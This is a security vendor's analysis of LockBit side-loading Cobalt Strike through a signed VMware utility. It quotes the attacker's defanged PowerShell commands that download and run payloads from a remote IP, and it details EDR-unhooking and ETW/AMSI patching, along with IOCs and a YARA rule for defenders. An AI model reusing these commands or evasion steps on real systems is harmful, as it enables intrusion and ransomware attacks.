By James Haughom, Júlio Dantas, and Jim Walter
- The VMware command line utility
VMwareXferlogs.exeused for data transfer to and from VMX logs is susceptible to DLL side-loading.
- During a recent investigation, our DFIR team discovered that LockBit Ransomware-as-a-Service (Raas) side-loads Cobalt Strike Beacon through a signed VMware xfer logs command line utility.
- The threat actor uses PowerShell to download the VMware xfer logs utility along with a malicious DLL, and a
.logfile containing an encrypted Cobalt Strike Reflective Loader.
- The malicious DLL evades defenses by removing EDR/EPP’s userland hooks, and bypasses both Event Tracing for Windows (ETW) and Antimalware Scan Interface (AMSI).
LockBit is a Ransomware as a Service (RaaS) operation that has been active since 2019 (previously known as “ABCD”). It commonly leverages the double extortion technique, employing tools such as StealBit, WinSCP, and cloud-based backup solutions for data exfiltration prior to deploying the ransomware. Like most ransomware groups, LockBit’s post-exploitation tool of choice is Cobalt Strike.
During a recent investigation, our DFIR team discovered an interesting technique used by LockBit Ransomware Group to load a Cobalt Strike Beacon Reflective Loader. In this particular case, LockBit managed to side-load Cobalt Strike Beacon through a signed VMware xfer logs command line utility.
Side-loading is a DLL-hijacking technique used to trick a benign process into loading and executing a malicious DLL by placing the DLL alongside the process’ corresponding EXE, taking advantage of the DLL search order. In this instance, the threat actor used PowerShell to download the VMware xfer logs utility along with a malicious DLL, and a
.log file containing an encrypted Cobalt Strike Reflective Loader. The VMware utility was then executed via
cmd.exe, passing control flow to the malicious DLL.
The DLL then proceeded to evade defenses by removing EDR/EPP’s userland hooks, as well as bypassing both Event Tracing for Windows (ETW) and Antimalware Scan Interface (AMSI). The
.log file was then loaded in memory and decrypted via RC4, revealing a Cobalt Strike Beacon Reflective Loader. Lastly, a user-mode Asynchronous Procedure Call (APC) is queued, which is used to pass control flow to the decrypted Beacon.
The attack chain began with several PowerShell commands executed by the threat actor to download three components, a malicious DLL, a signed VMwareXferlogs executable, and an encrypted Cobalt Strike payload in the form of a
|glib-2.0.dll||Weaponized DLL loaded by VMwareXferlogs.exe|
|VMwareXferlogs.exe||Legitimate/signed VMware command line utility|
|c0000015.log||Encrypted Cobalt Strike payload|
Our DFIR team recovered the complete PowerShell cmdlets used to download the components from forensic artifacts.
Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/glib-2.0.dll -OutFile c:\windows\debug\glib-2.0.dll;
Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/c0000015.log -OutFile c:\windows\debug\c0000015.log;
Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/VMwareXferlogs.exe -OutFile c:\windows\debug\VMwareXferlogs.exe;c:\windows\debug\VMwareXferlogs.exe
The downloaded binary (
VMwareXferlogs.exe) was then executed via the command prompt, with the STDOUT being redirected to a file.
c:\windows\debug\VMwareXferlogs.exe 1> \\127.0.0.1\ADMIN$\__1649832485.0836577 2>&1
VMwareXferlogs.exe is a legitimate, signed executable belonging to VMware.
This utility is used to transfer data to and from VMX logs.VMware xfer utility command line usage
This command line utility makes several calls to a third party library called
glib-2.0.dll. Both the utility and a legitimate version of
glib-2.0.dll are shipped with VMware installations.
glib-2.0.dllfor VMware Tools
glib-2.0.dll downloaded by the threat actor exports all the necessary functions imported by
glib-2.0.dll-related functions imported by VMwareXferlog.exe
Calls to exported functions from
glib-2.0.dll are made within the main function of the VMware utility, the first being
glib-2.0.dll functions being called by
Note that the virtual addresses for the exported functions are all the same for the weaponized
glib-2.0.dll (0x1800020d0), except for
g_path_get_basename, which has a virtual address of 0x180002420. This is due to the fact that all exports, except for the
g_path_get_basename function do nothing other than call
On the other hand,
g_path_get_basename() invokes the malicious payload prior to exiting.
VMwareXferlog.exe calls this function, control flow is transferred to the malicious
glib-2.0.dll, rather than the legitimate one, completing the side-loading attack.
g_path_get_basename()being called in the
Once control flow is passed to the weaponized DLL, the presence of a debugger is checked by querying the
BeingDebugged flag and
NtGlobalFlag in the Process Environment Block (PEB). If a debugger is detected, the malware enters an endless loop.
Bypassing EDR/EPP Userland Hooks
At this juncture, the malware enters a routine to bypass any userland hooks by manually mapping itself into memory, performing a byte-to-byte inspection for any discrepancies between the copy of self and itself, and then overwriting any sections that have discrepancies.
This routine is repeated for all loaded modules, thus allowing the malware to identify any potential userland hooks installed by EDR/EPP, and overwrite them with the unpatched/unhooked code directly from the modules’ images on disk.Checking for discrepancies between on-disk and in-memory for each loaded module
For example, EDR’s userland NT layer hooks may be removed with this technique. The below subroutine shows a trampoline where a SYSCALL stub would typically reside, but instead jumps to a DLL injected by EDR. This subroutine will be overwritten/restored to remove the hook.EDR-hooked SYSCALL stub that will be patched
Here is a look at the patched code to restore the original SYSCALL stub and remove the EDR hook.NT layer hook removed and original code restored
Once these hooks are removed, the malware continues to evade defenses. Next, an attempt to bypass Event Tracing for Windows (ETW) commences through patching the
EtwEventWrite WinAPI with a RET instruction (0xC3), stopping any useful ETW-related telemetry from being generated related to this process.
AMSI is bypassed the same way as ETW through patching
AmsiScanBuffer. This halts AMSI from inspecting potentially suspicious buffers within this process.
Once these defenses have been bypassed, the malware proceeds to execute the final payload. The final payload is a Cobalt Strike Beacon Reflective Loader that is stored RC4-encrypted in the previously mentioned
c0000015.log file. The RC4 Key Scheduling Algorithm can be seen below with the hardcoded 136 byte key.
&.5 \C3%YHO2SM-&B3!XSY6SV)6(&7;(3.' $F2WAED>>;K]8\*D#[email protected](R,+]A-G\D HERIP:45:X(WN8[?3Y>XCWNPOL89>[.# Q' 4CP8M-%4N[7.$R->-1)$!NU"W$!YT<J$V[RC4 Key Scheduling Algorithm
The RC4 decryption of the payload then commences.RC4 decryption routine
The final result is Beacon’s Reflective Loader, seen below with the familiar magic bytes and hardcoded strings.
Decrypted Cobalt Strike Beacon Reflective Loader
Once decrypted, the region of memory that the payload resides in is made executable (PAGE_EXECUTE_READWRITE), and a new thread is created for this payload to run within.
This thread is created in a suspended state, allowing the malware to add a user-mode APC, pointing to the payload, to the newly created thread’s APC queue. Finally, the thread is resumed, allowing the thread to run and execute the Cobalt Strike payload via the APC.Logic to queue and execute user-mode APC
The DLL is detected by the SentinelOne agent prior to being loaded and executed.Detection for LockBit DLL
VMware Side-loading Variants
A handful of samples related to the malicious DLL were discovered by our investigation. The only notable differences being the RC4 key and name of the file containing the RC4-encrypted payload to decrypt.
For example, several of the samples attempt to load the file
vmtools.ini rather than
vmtools.inifile being accessed by a variant
Another variant shares the same file name to load
vmtools.ini, yet is packed with a custom version of UPX.
The VMware command line utility
VMwareXferlogs.exe used for data transfer to and from VMX logs is susceptible to DLL side-loading. In our engagement, we saw that the threat actor had created a malicious version of the legitimate
glib-2.0.dll to only have code within the
g_path_get_basename() function, while all other exports simply called
ExitProcess(). This function invokes a malicious payload which, among other things, attempts to bypass EDR/EPP userland hooks and engages in anti-debugging logic.
LockBit continues to be a successful RaaS and the developers are clearly innovating in response to EDR/EPP solutions. We hope that by describing this latest technique, defenders and security teams will be able to improve their ability to protect their organizations.
Indicators of Compromise
|729eb505c36c08860c4408db7be85d707bdcbf1b||Malicious glib-2.0.dll from investigation|
|091b490500b5f827cc8cde41c9a7f68174d11302||Decrypted Cobalt Strike payload|
|e35a702db47cb11337f523933acd3bce2f60346d||Encrypted Cobalt Strike payload – c0000015.log|
|25fbfa37d5a01a97c4ad3f0ee0396f953ca51223||glib-2.0.dll vmtools.ini variant|
|0c842d6e627152637f33ba86861d74f358a85e1f||glib-2.0.dll vmtools.ini variant|
|1458421f0a4fe3acc72a1246b80336dc4138dd4b||glib-2.0.dll UPX-packed vmtools.ini variant|
|c:\windows\debug\VMwareXferlogs.exe||Full path to legitimate VMware command line utility|
|c:\windows\debug\glib-2.0.dll||Malicious DLL used for hijack|
|c:\windows\debug\c0000015.log||Encrypted Cobalt Strike reflective loader|
|149.28.137[.]7||Cobalt Strike C2|
YARA Hunting Rules
description = “Identify potentially malicious versions of glib-2.0.dll”
author = “James Haughom @ SentinelOne”
date = “2022-04-22”
reference = “LockBit Ransomware Side-loads Cobalt Strike Beacon with Legitimate VMware Utility - SentinelOne”
/* The VMware command line utilty 'VMwareXferlogs.exe' used for data transfer to/from VMX logs is susceptible to DLL sideloading. The malicious versions of this DLL typically only have code within the function 'g_path_get_basename()' properly defined, while the rest of the exports simply call 'ExitProcess()'. Notice how in the exports below, the virtual address for all exported functions are the same except for 'g_path_get_basename()'. We can combine this along with an anomalously low number of exports for this DLL, as legit instances of this DLL tend to have over 1k exports. [Exports] nth paddr vaddr bind type size lib name ――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― 1 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_error_free 2 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_free 3 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_option_context_add_main_entries 4 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_option_context_free 5 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_option_context_get_help 6 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_option_context_new 7 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_option_context_parse 8 0x00001820 0x180002420 GLOBAL FUNC 0 glib-2.0.dll g_path_get_basename 9 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_print 10 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_printerr 11 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_set_prgname This rule will detect malicious versions of this DLL by identifying if the virtual address is the same for all of the exported functions used by 'VMwareXferlogs.exe' except for 'g_path_get_basename()'. */ condition: /* sample is an unsigned DLL */ pe.characteristics & pe.DLL and pe.number_of_signatures == 0 and /* ensure that we have all of the exported functions of glib-2.0.dll imported by VMwareXferlogs.exe */ pe.exports("g_path_get_basename") and pe.exports("g_error_free") and pe.exports("g_free") and pe.exports("g_option_context_add_main_entries") and pe.exports("g_option_context_get_help") and pe.exports("g_option_context_new") and pe.exports("g_print") and pe.exports("g_printerr") and pe.exports("g_set_prgname") and pe.exports("g_option_context_free") and pe.exports("g_option_context_parse") and /* all exported functions have the same offset besides g_path_get_basename */ pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_error_free")].offset and pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_get_help")].offset and pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_new")].offset and pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_add_main_entries")].offset and pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_print")].offset and pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_printerr")].offset and pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_set_prgname")].offset and pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_free")].offset and pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_parse")].offset and /* benign glib-2.0.dll instances tend to have ~1k exports while malicious ones have the bare minimum */ pe.number_of_exports < 15
MITRE ATT&CK TTPs
|Encrypted Cobalt Strike payload||T1027|
Article Link: LockBit Ransomware Side-loads Cobalt Strike Beacon with Legitimate VMware Utility - SentinelOne